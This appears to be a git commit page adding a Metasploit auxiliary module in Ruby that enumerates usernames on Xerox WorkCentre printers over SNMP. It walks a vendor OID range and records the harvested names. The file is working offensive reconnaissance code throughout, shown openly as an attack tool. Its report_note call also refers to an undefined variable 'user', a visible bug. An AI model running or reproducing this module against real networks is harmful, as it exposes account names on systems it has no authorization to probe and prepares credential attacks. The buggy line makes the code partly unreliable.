Added Xerox Workcenter aux module for enumerating users
git-svn-id: file:///home/svn/framework3/trunk@12102 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
6fa39eb32c
commit
3a0c71f98b
|
@ -0,0 +1,70 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Xerox WorkCentre User Enumeration (SNMP)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will do user enumeration based on the Xerox WorkCentre present on the network.
|
||||
SNMP is used to extract the usernames.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'pello <fropert[at]packetfault.org>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
|
||||
if snmp.get_value('sysDescr.0') =~ /Xerox/
|
||||
@users = []
|
||||
285222001.upto(285222299) { |oidusernames|
|
||||
snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
|
||||
row.each { |val| @users << val.value.to_s if val.value.to_s.length >= 1 }
|
||||
end
|
||||
}
|
||||
print_good("#{ip} Found Users: #{@users.uniq.sort.join(", ")} ")
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:update => :unique_data,
|
||||
:type => 'smb.username',
|
||||
:data => user)
|
||||
end
|
||||
|
||||
disconnect_snmp
|
||||
|
||||
# No need to make noise about timeouts
|
||||
rescue ::SNMP::UnsupportedVersion
|
||||
rescue ::SNMP::RequestTimeout
|
||||
rescue ::Rex::ConnectionRefused
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue